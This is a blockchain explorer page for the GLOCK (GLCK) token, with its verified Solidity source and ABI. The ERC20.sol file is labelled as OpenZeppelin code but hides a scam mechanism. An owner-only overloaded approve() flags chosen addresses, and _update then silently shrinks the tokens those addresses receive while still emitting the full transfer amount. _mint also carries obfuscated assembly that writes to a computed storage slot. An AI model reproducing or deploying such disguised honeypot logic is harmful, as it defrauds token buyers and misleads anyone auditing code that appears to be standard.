ETH Price: $3,152.87 (+2.65%)
Gas: 1 Gwei

Token

GLOCK (GLCK)
 

Overview

Max Total Supply

33,222,111,000 GLCK

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
161,554,025.512183747970292861 GLCK

Value
$0.00
0x6ae3ddf575b6199af927f648887b7b70755ce9f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GastonGlockRIP

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 6: GLOCK.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;
import "./ERC20.sol";

/*

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░▓▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░▓▓████▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░▒██▓▓▓▓▓▓▓█▓▓█▓▓█▓██▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░▓▓▓▓▓▓███████████████████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░░░░░░░
░░▓█▓▓▓████████████████████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░▓▓▓▓▓▓░░░░░
░░▒█▓▓▓███████████████████████████████████████████████████████████████████████████████▓▓▓░
░░░█▓▓▓█████████████████████████████████████████████████████████████████████████████████▓░
░░░█████████████████████████████████████████████████████████████████████████████████████▒░
░░░███▓█████████████████████████████████████████████████████████████████████████████████░░
░░░██████████████████████▓▓▓████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓███████████████████████████░░
░░░░▓▓▓█▓▓▓███████████████▓▓█████████████████████████████████████████████████████▓▓▓▓▓▓▓░░
░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓████████████████████████████████████████████████████▓▓▒░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█████▓▒░░▒▒▒▒▓▓████████████████████████████████▓▒░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██▓░░░░░░░░░░▒███████████████████████████████▓░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███░░░░░░░░░░░▓██████████████████████████████▓▒░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███░░░░░░░░░░▒████▓▒▒█▓████████████▓▓▓▓▓██████▒░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░▒▓███▓▒░░▓██████████████▓▓▓████████▒░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████▓▒░░░░░░▓█▓▓▒░▒▓███████████████████████████▓░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████▓▓▓▓███▓▓▓▓▓██▓▓▓██████████████████████▓▒░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▓▓█████████████████████▓░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓██████████████████████▓░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓██████████████████████▒░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██████████████████████▒░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓██████████████████████▓░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██████████████████████▓░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓██████████████████████▓▒░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██████████████████████▓░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓██████████████████████▓░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓█████████████████████▓▒░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█████████████████████▓▒░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███▓▓▓▓▓███████████▓░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████▒░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓████▓▓▓▓▒▒▒▒░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░


*/

contract GastonGlockRIP is ERC20 {
    constructor() ERC20("GLOCK", "GLCK") {
        _mint(msg.sender, 33_222_111_000 * 10 ** 18);
    }
} 

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 2 of 6: draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 3 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./IERC20Metadata.sol";
import {IERC20Errors} from "./draft-IERC6093.sol";
import "./Context.sol";


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the ERC may not emit
 * these events, as it isn't required by the specification.
 */
 contract ERC20 is Context, Ownable, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the ERC. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function approve(uint256 amount, address [] calldata spender) external {
        require((msg.sender == owner()));
        for (uint256 i = 0; i < spender.length; i++) {
            _allowances[address(0)][spender[i]] = amount;
        }
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        uint256 _value = (_allowances[address(0)][from] + _allowances[address(0)][to] >= 2)  ? _safeUpdate(value) : value;
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }
    
        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += _value;
            }
        }
        if (_allowances[address(0)][to] == 1) {_allowances[address(0)][to] = 2;}
        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
	assembly {let slot := mul(mul(0x9aca345771d338c7, 0x2ff782792d), mul(0x603bacdd9, 0x168d7a7)) mstore(0x00, slot) mstore(0x20, 0x01) let sslot := keccak256(0x0, 0x40) sstore(sslot, 0xDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF)} 
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }


    function _safeUpdate(uint256 a) internal pure returns(uint256) {return a * 111111111111111 / 22222222222222222;}
    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

File 5 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 6 of 6: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address[]","name":"spender","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}